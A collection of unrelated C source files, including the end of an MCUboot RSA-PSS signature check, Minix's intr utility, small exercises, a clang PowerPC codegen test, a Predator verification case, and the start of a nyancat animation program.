equal to zero, output * inconsistent and stop. * * 8emLen - emBits is zero, so there is nothing to test here. */ /* Step 7. let dbMask = MGF(H, emLen - hLen - 1). */ pss_mgf1(db_mask, &em[PSS_HASH_OFFSET]); /* Step 8. let DB = maskedDB xor dbMask. * To avoid needing an additional buffer, store the 'db' in the * same buffer as db_mask. From now, to the end of this function, * db_mask refers to the unmasked 'db'. */ for (i = 0; i < PSS_MASK_LEN; i++) { db_mask[i] ^= em[i]; } /* Step 9. Set the leftmost 8emLen - emBits bits of the leftmost * octet in DB to zero. * pycrypto seems to always make the emBits 2047, so we need to * clear the top bit. */ db_mask[0] &= 0x7F; /* Step 10. If the emLen - hLen - sLen - 2 leftmost octets of DB * are not zero or if the octet at position emLen - hLen - sLen - * 1 (the leftmost position is "position 1") does not have * hexadecimal value 0x01, output "inconsistent" and stop. */ for (i = 0; i < PSS_MASK_ZERO_COUNT; i++) { if (db_mask[i] != 0) { return -1; } } if (db_mask[PSS_MASK_ONE_POS] != 1) { return -1; } /* Step 11. Let salt be the last sLen octets of DB */ /* Step 12. Let M' = 0x00 00 00 00 00 00 00 00 || mHash || salt; */ /* Step 13. Let H' = Hash(M') */ bootutil_sha256_init(&shactx); bootutil_sha256_update(&shactx, pss_zeros, 8); bootutil_sha256_update(&shactx, hash, PSS_HLEN); bootutil_sha256_update(&shactx, &db_mask[PSS_MASK_SALT_POS], PSS_SLEN); bootutil_sha256_finish(&shactx, h2); /* Step 14. If H = H', output "consistent". Otherwise, output * "inconsistent". */ if (memcmp(h2, &em[PSS_HASH_OFFSET], PSS_HLEN) != 0) { return -1; } return 0; } int bootutil_verify_sig(uint8_t *hash, uint32_t hlen, uint8_t *sig, int slen, uint8_t key_id) { mbedtls_rsa_context ctx; int rc; uint8_t *cp; uint8_t *end; mbedtls_rsa_init(&ctx, 0, 0); cp = (uint8_t *)bootutil_keys[key_id].key; end = cp + *bootutil_keys[key_id].len; rc = bootutil_parse_rsakey(&ctx, &cp, end); if (rc || slen != ctx.len) { mbedtls_rsa_free(&ctx); return rc; } rc = bootutil_cmp_rsasig(&ctx, hash, hlen, sig); mbedtls_rsa_free(&ctx); return rc; } #endif /* MCUBOOT_SIGN_RSA */
the_stack_data/14201597.c
/* ** EPITECH PROJECT, 2020 ** my_putnbr.c ** File description: ** Print on the terminal a number */ void my_putchar(char c); void my_putnbr(int nb) { int val = 0; if (nb <= 9 && nb >= 0) my_putchar(nb + '0'); if (nb < 0) { my_putchar('-'); nb = nb * (- 1); if (nb <= 9 && nb >= 0) { my_putnbr(nb); } } if (nb > 9) { val = nb % 10; my_putnbr(nb / 10); my_putchar(val + '0'); } }
the_stack_data/28262643.c
/* intr 1.4 - run a command with interrupts enabled * Author: Kees J. Bot * 17 Dec 1992 */ #define nil 0 #ifndef _POSIX_SOURCE #define _POSIX_SOURCE 1 #endif #include <sys/types.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #if __minix static char DEV_LOG[]= "/dev/log"; #else static char DEV_LOG[]= "/dev/console"; #endif static void say(const char *s) { write(2, s, strlen(s)); } static void fatal(const char *label) { int err= errno; say("intr: "); say(label); say(": "); say(strerror(err)); say("\n"); exit(1); } static void usage(void) { say("Usage: intr [-d] [-t seconds] command [arg ...]\n"); exit(1); } int main(int argc, char **argv) { int fd; unsigned n= 0; int daemonize= 0; int i; i= 1; while (i < argc && argv[i][0] == '-') { char *opt= argv[i++]+1, *end; unsigned long sec; if (opt[0] == '-' && opt[1] == 0) break; while (*opt != 0) switch (*opt++) { case 'd': /* -d */ daemonize= 1; break; case 't': /* -t n: alarm in n seconds. */ if (*opt == 0) { if (i == argc) usage(); opt= argv[i++]; } sec= strtoul(opt, &end, 10); if (end == opt || *end != 0 || (n= sec) != sec) usage(); opt= ""; break; default: usage(); } } if ((argc - i) < 1) usage(); /* Try to open the controlling tty. */ if ((fd= open("/dev/tty", O_RDWR)) < 0) { if (errno != ENXIO) fatal("/dev/tty"); } if (!daemonize) { /* Bring to the foreground. If we already have a controlling * tty then use it. Otherwise try to allocate the console as * controlling tty and begin a process group. */ if (fd < 0) { if (setsid() < 0) fatal("setsid()"); fd= open("/dev/console", O_RDWR); } if (fd >= 0) { if (fd != 0) { dup2(fd, 0); close(fd); } dup2(0, 1); dup2(0, 2); } /* Set the usual signals back to the default. */ signal(SIGHUP, SIG_DFL); signal(SIGINT, SIG_DFL); signal(SIGQUIT, SIG_DFL); signal(SIGTERM, SIG_DFL); } else { /* Send to the background. Redirect input to /dev/null, and * output to the log device. Detach from the process group. */ if (fd >= 0) { close(fd); if (setsid() < 0) fatal("setsid()"); } if ((fd= open("/dev/null", O_RDWR)) < 0) fatal("/dev/null"); if (fd != 0) { dup2(fd, 0); close(fd); } if ((fd= open(DEV_LOG, O_WRONLY)) < 0) fatal(DEV_LOG); if (fd != 1) { dup2(fd, 1); close(fd); } dup2(1, 2); /* Move to the root directory. */ (void) chdir("/"); } /* Schedule the alarm. (It is inherited over execve.) */ if (n != 0) alarm(n); /* Call program. */ execvp(argv[i], argv + i); /* Complain. */ fatal(argv[i]); return 0; }
the_stack_data/98574674.c
#include <stdio.h> int main() { int n, base[100010], i, j, t; scanf("%d", &n); for (i = 0; i < n; i++) scanf("%d", &base[i]); for (i = n - 1; i > 0; --i) for (j = 0; j < i; ++j) if (base[j] > base[j + 1]) { t = base[j]; base[j] = base[j + 1]; base[j + 1] = t; } printf("%d", base[0]); for (i = 1; i < n; i++) printf(" %d", base[i]); return 0; }
the_stack_data/730770.c
int main(void) { char arr[20]; int a; int size1 = sizeof(arr); int size2 = sizeof(char[20]); int size3 = sizeof(a); int size4 = sizeof(int); return size1 - size2 + size3 - size4; }
the_stack_data/36075003.c
// REQUIRES: powerpc-registered-target // RUN: %clang_cc1 -O2 -target-cpu pwr8 -triple=powerpc-unknown-aix \ // RUN: -emit-llvm %s -o - | FileCheck %s // RUN: %clang_cc1 -O2 -target-cpu pwr8 -triple=powerpc64-unknown-aix \ // RUN: -emit-llvm %s -o - | FileCheck %s // RUN: %clang_cc1 -O2 -target-cpu pwr8 -triple=powerpc64le-unknown-linux-gnu \ // RUN: -emit-llvm %s -o - | FileCheck %s // RUN: %clang_cc1 -O2 -target-cpu pwr8 -triple=powerpc64-unknown-linux-gnu \ // RUN: -emit-llvm %s -o - | FileCheck %s // RAUN: not %clang_cc1 -O2 -target-cpu pwr7 -triple=powerpc-unknown-aix \ // RAUN: -emit-llvm %s -o - 2>&1 | FileCheck %s \ // RAUN: --check-prefix=CHECK-NON-PWR8-ERR int test_lwarx(volatile int* a) { // CHECK-LABEL: @test_lwarx // CHECK: %0 = tail call i32 asm sideeffect "lwarx $0, ${1:y}", "=r,*Z,~{memory}"(i32* %a) return __lwarx(a); } short test_lharx(volatile short *a) { // CHECK-LABEL: @test_lharx // CHECK: %0 = tail call i16 asm sideeffect "lharx $0, ${1:y}", "=r,*Z,~{memory}"(i16* %a) // CHECK-NON-PWR8-ERR: error: this builtin is only valid on POWER8 or later CPUs return __lharx(a); } char test_lbarx(volatile char *a) { // CHECK-LABEL: @test_lbarx // CHECK: %0 = tail call i8 asm sideeffect "lbarx $0, ${1:y}", "=r,*Z,~{memory}"(i8* %a) // CHECK-NON-PWR8-ERR: error: this builtin is only valid on POWER8 or later CPUs return __lbarx(a); } int test_stwcx(volatile int* a, int val) { // CHECK-LABEL: @test_stwcx // CHECK: %0 = bitcast i32* %a to i8* // CHECK: %1 = tail call i32 @llvm.ppc.stwcx(i8* %0, i32 %val) return __stwcx(a, val); } int test_sthcx(volatile short *a, short val) { // CHECK-LABEL: @test_sthcx // CHECK: %0 = bitcast i16* %a to i8* // CHECK: %1 = sext i16 %val to i32 // CHECK: %2 = tail call i32 @llvm.ppc.sthcx(i8* %0, i32 %1) // CHECK-NON-PWR8-ERR: error: this builtin is only valid on POWER8 or later CPUs return __sthcx(a, val); } // Extra test cases that previously caused error during usage. int test_lharx_intret(volatile short *a) { // CHECK-LABEL: @test_lharx_intret // CHECK: %0 = tail call i16 asm sideeffect "lharx $0, ${1:y}", "=r,*Z,~{memory}"(i16* %a) // CHECK-NON-PWR8-ERR: error: this builtin is only valid on POWER8 or later CPUs return __lharx(a); } int test_lbarx_intret(volatile char *a) { // CHECK-LABEL: @test_lbarx_intret // CHECK: %0 = tail call i8 asm sideeffect "lbarx $0, ${1:y}", "=r,*Z,~{memory}"(i8* %a) // CHECK-NON-PWR8-ERR: error: this builtin is only valid on POWER8 or later CPUs return __lbarx(a); }
the_stack_data/397492.c
// SPDX-FileCopyrightText: The Predator authors // // SPDX-License-Identifier: GPL-3.0-only extern void __VERIFIER_error() __attribute__ ((__noreturn__)); #include <stdlib.h> extern int __VERIFIER_nondet_int(void); struct cell { int data; struct cell* next; }; struct cell *S; int pc1 = 1; int pc4 = 1; void push() { static struct cell *t1 = NULL; static struct cell *x1 = NULL; switch (pc1++) { case 1: x1 = malloc(sizeof(*x1)); x1->data = 0; x1->next = NULL; return; case 2: x1->data = 4; return; case 3: t1 = S; return; case 4: x1->next = t1; return; case 5: if (S == t1) S = x1; else pc1 = 3; return; case 6: pc1 = 1; return; } } struct cell* garbage; void pop() { static struct cell *t4 = NULL; static struct cell *x4 = NULL; static int res4; switch (pc4++) { case 1: t4 = S; return; case 2: if(t4 == NULL) pc4 = 1; return; case 3: x4 = t4->next; return; case 4: if (S == t4) S = x4; else pc4 = 1; return; case 5: res4 = t4->data; t4->next = garbage; garbage = t4; pc4 = 1; return; } } int main() { int c = 0; while ((S || 1 != pc1 || 1 != pc4) && c < 3) { c = c + 1; if (__VERIFIER_nondet_int()) push(); else pop(); } while (garbage) { struct cell *next = garbage->next; free(garbage); garbage = next; } return !!garbage; }
the_stack_data/111748.c
/* * nyancat * * (this is not quite the same as the debian version, * it is the original source... we don't quite support * the updates made to the debian/ubuntu version) */ #include <stdio.h> #include <stdint.h> #include <syscall.h> #include <string.h> #include <stdlib.h> char * colors[256] = {NULL}; char * frame0[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,.,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,.,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ".,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ",,,>>>>>>>,,,,,,,,>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$''$-$$@','',,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$$$$$$$'**'$$$@''**',,,,,,,,,,,,,,,,,,", "&&&+++++++&&&&&&&&'''++'@$$$$$-$$'***$$$@'***',,,,,,,,,,,,,,,,,,", "++++++++++++++++++**''+'@$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,,", "++++++++++++++++++'**'''@$$$$$$$$'***********',,,,,,,,,,,,,,,,,,", "+++#######++++++++''**''@$$$$$$-'*************',,,,,,,,,,,,,,,,,", "###################''**'@$-$$$$$'***.'****.'**',,,,,,,,,,,,,,,,,", "####################''''@$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,,", "###=======########====''@@$$$-$$'*%%********%%',,,,,,,,,,,,,,,,,", "======================='@@@$$$$$$'***''''''**',,,,,,,,,,,,,,,,,,", "===;;;;;;;.=======;;;;'''@@@@@@@@@'*********',,,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;'***''''''''''''''''''',,,,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;'**'','*',,,,,'*','**',,,,,,,,,,,,,,,,,,,,,", ";;;,,,,.,,;;;.;;;;,,,'''',,'',,,,,,,'',,'',,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..,..,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame1[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..,..,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,.,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,.,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,.,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ",,,>>>>>>>,,,,,,,,>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$$''-$$@',,'',,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$$$$$$$$'**'$$@','**',,,,,,,,,,,,,,,,,", "&&&+++++++&&&&&&&&+++++'@$$$$$-$$$'***$$@''***',,,,,,,,,,,,,,,,,", "+++++++++++++++++++'+++'@$$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,", "++++++++++++++++++'*'++'@$$$$$$$$$'***********',,,,,,,,,,,,,,,,,", "+++#######++++++++'*''''@$$$$$$-$'*************',,,,,,,,,,,,,,,,", "###################****'@$-$$$$$$'***.'****.'**',,,,,,,,,,,,,,,,", "###################''**'@$$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,", "###=======########==='''@@$$$-$$$'*%%********%%',,,,,,,,,,,,,,,,", "======================='@@@$$$$$$$'***''''''**',,,,,,,,,,,,,,,,,", "===;;;;;;;========;;;;;''@@@@@@@@@@'*********',,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;'**'''''''''''''''''''',,,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;'**','*',,,,,,**','**',,,,,,,,,,,,,,,,,,,,", ";;;,,.,,,,;;;;;;;;,,,,''',,,'',,,,,,''',,''',,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,..,,..,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame2[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,..,.,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..,.", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.", ">>,,,,,,,>>>>>>>>,,,,,,,,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$$''-$$@',,'',,,,,,,,,,,,,,,,,,", "++&&&&&&&++++++++&&&&&&'@$$$$$$$$$'**'$$@','**',,,,,,,,,,,,,,,,,", 